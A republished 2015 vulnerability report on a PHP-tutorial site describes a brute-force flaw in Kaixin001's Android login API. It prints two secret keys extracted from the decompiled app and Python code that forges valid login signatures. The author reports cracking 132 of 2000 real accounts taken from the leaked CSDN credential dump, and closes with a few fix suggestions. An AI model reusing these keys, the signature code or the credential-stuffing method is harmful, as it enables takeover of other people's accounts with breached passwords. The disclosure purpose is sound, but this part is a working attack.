网站地图    收藏   

主页 > 后端 > 网站安全 >

开心网android客户端暴力破解漏洞 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 开心网的android客户端(接口)存在暴力破解漏洞。使用该客户端(接口)登录,不会限制登录错误的次数,且没有验证码。通过抓包分析,得到登录时候的POST请求为:POST http://api.kaix...

开心网的android客户端(接口)存在暴力破解漏洞
使用该客户端(接口)登录,不会限制登录错误的次数,且没有验证码。
 
通过抓包分析,得到登录时候的POST请求为:
POST http://api.kaixin001.com/oauth/access_token
oauth_signature={HMAC-SHA1计算得到的签名}&x_auth_username={用户名}&x_auth_mode=client_auth&oauth_version=1.0&oauth_nonce={一个不重复的32位MD5}&oauth_signature_method=HMAC-SHA1&oauth_consumer_key={API Key}&ctype=15803AndroidClient&x_auth_password={明文密码}&oauth_timestamp={时间戳}
 
通过参数列表可知,计算签名才是最关键的工作。
测试后发现,签名是跟用户名相对应的。
只要用户名不变,对应的签名可一直反复使用,无论密码是什么。
利用这一点,攻击者已经可以暴力破解某个指定的帐号。(如果他无法计算出签名,可以通过抓包来获取指定签名)
 
 
当然,为了得到签名的计算方式,我尝试将这个apk文件逆向,得到了混淆过的java代码。
因为代码实在太乱,我自己也不写java程序的,跟踪了几处后,还是放弃了。
但在这个过程中,我得到了两个Key:
 
public static String a = "87247717949570179fa41c43e20ed289"; 
 
public static String b = "8207525c8aa35c89b29385057f5905c9";
 
其中第一个为oauth_consumer_key,而第二个,是HMAC_SHA1计算使用的Key。
(才开始我也只分析到第一个key是API Key,但对变量b是做什么的不太清楚。)
 
 
在分析java源代码受挫后,我转向了 开心网的开放平台。
之前在java代码中存在的疑惑一一被解开。
特别是,我找到了一份“xAuth文档“,这也正是开心网android客户端所使用的认证方式!
 
http://wiki.open.kaixin001.com/index.php?id=xAuth%E6%96%87%E6%A1%A3
 
通过这个文档,我终于找到了一个可行的签名计算方法,附上python代码:
 
import sys 
import hmac, hashlib 
from urllib import urlencode, quote 
 
userName = sys.argv[1] 
passWord = sys.argv[2] 
oauth_nonce = sys.argv[3] 
base_string = 'POST&http://api.kaixin001.com/oauth/access_token' + \ 
'&oauth_consumer_key=87247717949570179fa41c43e20ed289' + \ 
'&oauth_nonce=' + oauth_nonce + \ 
'&oauth_signature_method=HMAC-SHA1' + \ 
'&oauth_timestamp=1351860016' + \ 
'&oauth_version=1.0&scope=user_rgroup&x_auth_mode=client_auth' + \ 
'&x_auth_password=' + passWord + '&x_auth_username=' + userName 
base_string = quote(base_string) 
 
h = hmac.new('8207525c8aa35c89b29385057f5905c9', base_string, hashlib.sha1) 
s = h.digest() 
signature = s.encode('base64').rstrip() 
 
因为这个时间戳根本没起作用,hard code即可。
运行时候,传入三个参数,分别是用户名、密码、随机MD5(参数oauth_nonce)
即可得到对应可用的signature值,使用它,就可以进行登录测试了!
 
使用泄露的CSDN 600万帐号进行了测试,测试2000个帐号,成功破解出132个。
 
修复方案:
个人能想得到的一点建议:
 
1. key尽量不直接明文保存,反编译后可看到。
 
2. 当前我生成的签名跟客户端上生成的签名是不完全一致的,但依旧可用于登录。
 
(我参考的是文档,但从几个java代码片段上看,android客户端上似乎并未完全遵循文档?)
 
3. android客户端上启用验证码。 至于何时出现验证码,可斟酌。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论